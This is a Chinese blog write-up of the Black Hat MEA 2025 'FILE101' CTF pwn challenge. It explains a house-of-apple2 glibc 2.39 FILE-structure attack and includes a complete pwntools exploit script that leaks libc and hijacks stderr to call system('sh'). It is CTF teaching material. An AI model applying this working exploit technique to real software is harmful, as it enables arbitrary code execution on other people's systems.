--> --> --> FILE101
Featured image of post FILE101

FILE101

BLACK HAT MEA2025-Qualification

分析

保护如上 给出了源码main.c

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
#include <stdio.h>

void main() {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  puts("stdout:");
  scanf("%224s", (char*)stdout);
  puts("stderr:");
  scanf("%224s", (char*)stderr);
}

GLIBC版本为2.39,scanf直接向stdout和stderr中写入数据,可以打house of cat或house of apple2

house of apple2的打法
因为有两次输入,所以先覆写低字节leak出libc地址stdout._IO_write_basestdout
这题需要进行特殊处理,因为scanf遇到空格会停止,所以设置_flagsaa;sh\x00 并且这题覆盖不到vtable指针(0xe0>224),因此只能打的时候将_wide_data写为fakefile-0x10

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
                    0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
arch = 'amd64'
remote_addr = ""
remote_port = ""


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
    context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
    return log.info(f"\x1b[{code}m{x}\x1b[0m")


def CLEAR_TEXT(x, code=32):
    return log.success(f"\x1b[{code}m{x}\x1b[0m")


io = None
if args.mode == 0:
    io = process(filename)
    print(CLEAR_TEXT("[*] Running on local machine"))
elif args.mode == 1:
    io = process(filename)
    gdb.attach(io, gdbscript='''
    b *main
    b *main+93
               ''')
elif args.mode == 2:
    io = remote(remote_addr, remote_port)
else:
    sys.exit(1)
elf = ELF(filename)
libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex  # 接收直到匹配正则表达式 rr(b"flag\{.*\}")
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
    return u64(data.ljust(8, b"\x00"))


def get_64():
    return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))


ru(b"stdout:\n")
pause()
payload=flat(
    0xfabad1887, 
    0,0,0,
    b"\x48"
)

sl(payload)
leak=ru(b"stder")[-72:] 
libc_addr=u64(leak[:8])-0x204644
VIO_TEXT(f"libc_addr: {hex(libc_addr)}")

stderr_addr=libc_addr+libc.symbols['_IO_2_1_stderr_'] 
VIO_TEXT(f"stderr_addr: {hex(stderr_addr)}") 

fake_file=flat(
    p64(0x3b68733b40404040), # b"aa;sh\x00"
    0,0,0,0, 
    1, 
    0,0,0,0,0,0,0, 
    libc_addr+libc.symbols['system'],
    0,0,0, 
    stderr_addr-0x10,0, 
    stderr_addr,stderr_addr-0x48, 
    0,0,0,0,0,0, 
    libc_addr+libc.symbols["_IO_wfile_jumps"],
)
se(fake_file)
ia()

house of cat打法的就先不贴了

本博客已稳定运行
发表了56篇文章 · 总计21万3千字

浙ICP备2024137952号 『网站统计』

𝓌𝒶𝒾𝓉 𝒻ℴ𝓇 𝒶 𝒹ℯ𝓁𝒾𝓋ℯ𝓇𝒶𝓃𝒸ℯ
使用 Hugo 构建
主题 StackJimmy 设计
⬆️该页面访问量Loading...